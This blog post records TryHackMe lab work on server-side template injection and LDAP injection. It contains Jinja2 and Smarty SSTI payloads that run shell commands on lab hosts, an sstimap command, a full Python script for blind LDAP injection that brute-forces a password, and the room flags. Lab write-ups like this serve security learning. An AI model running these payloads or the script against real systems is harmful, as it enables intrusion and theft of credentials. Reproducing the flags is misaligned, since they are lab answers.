Wednesday is here and it’s time for more THM!
Today we start with a concept that I am not 100% sure of and have not dealt much with which is Server Side Template Injection otherwise known as SSTI.
https://jinja.palletsprojects.com/en/stable/api/#jinja2.Environment
http://10.10.43.142:5000/profile/%7B%7B%20”.class.mro[1].subclasses()%20%7D%7D
http://10.10.43.142:5000/profile/%7B%7B%20”.class.mro[1].subclasses()401.communicate()%20%7D%7D
Next we move on to the Server-side Template Injection room!
http://ssti.thm:8000/smarty/
Flag – THM{0739eea78f5c7f4b1690737c6258e38b}
Flag – THM{1f8c3b32ad3217e84c145398bae00876}
Flag – THM{ecc43642dd6934d37c69598174e6e126}
python3 sstimap.py -X POST -u ‘http://ssti.thm:8002/mako/’ -d ‘page=’
https://github.com/formtools/core/issues/932
{{exec(‘ls’)(‘la’)}}
{system(‘cat index.php’)}
index.php page_edit_email.php
page_edit_view.php page_email_settings.php
page_emails.php
page_fields.php
page_main.php
page_public_form_omit_list.php
page_public_view_omit_list.php
page_views.phppage_views.php
{system(‘cat index.php’)}
{system(‘ls al /srv’)}
{system(‘find . -type f -name “.”’)} {system(‘find /etc -type f -name “.txt”’)} find /etc -type f -name “.”
ls -a | grep “^.”
{system(‘ls -a | grep “^.”)}
/:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
systmp
usr
var
var
{system(‘cat /var/www/html/filename.txt’)}
Flag – THM{w0rK1Ng_sST1}
We move move on to the LDAP Injection room.
import requests
from bs4 import BeautifulSoup
import string
import time
# Base URL
url = 'http://10.10.203.238/blind.php'
# Define the character set
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"
# Initialize variables
successful_response_found = True
successful_chars = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
while successful_response_found:
successful_response_found = False
for char in char_set:
#print(f"Trying password character: {char}")
# Adjust data to target the password field
data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}
# Send POST request with headers
response = requests.post(url, data=data, headers=headers)
# Parse HTML content
soup = BeautifulSoup(response.content, 'html.parser')
# Adjust success criteria as needed
paragraphs = soup.find_all('p', style='color: green;')
if paragraphs:
successful_response_found = True
successful_chars += char
print(f"Successful character found: {char}")
break
if not successful_response_found:
print("No successful character found in this iteration.")
print(f"Final successful payload: {successful_chars}")
Flag – THM{!!bl1nDLd4P1nj3ct10n!!}
Until next time & don’t sleepwalk through life!
Annyeong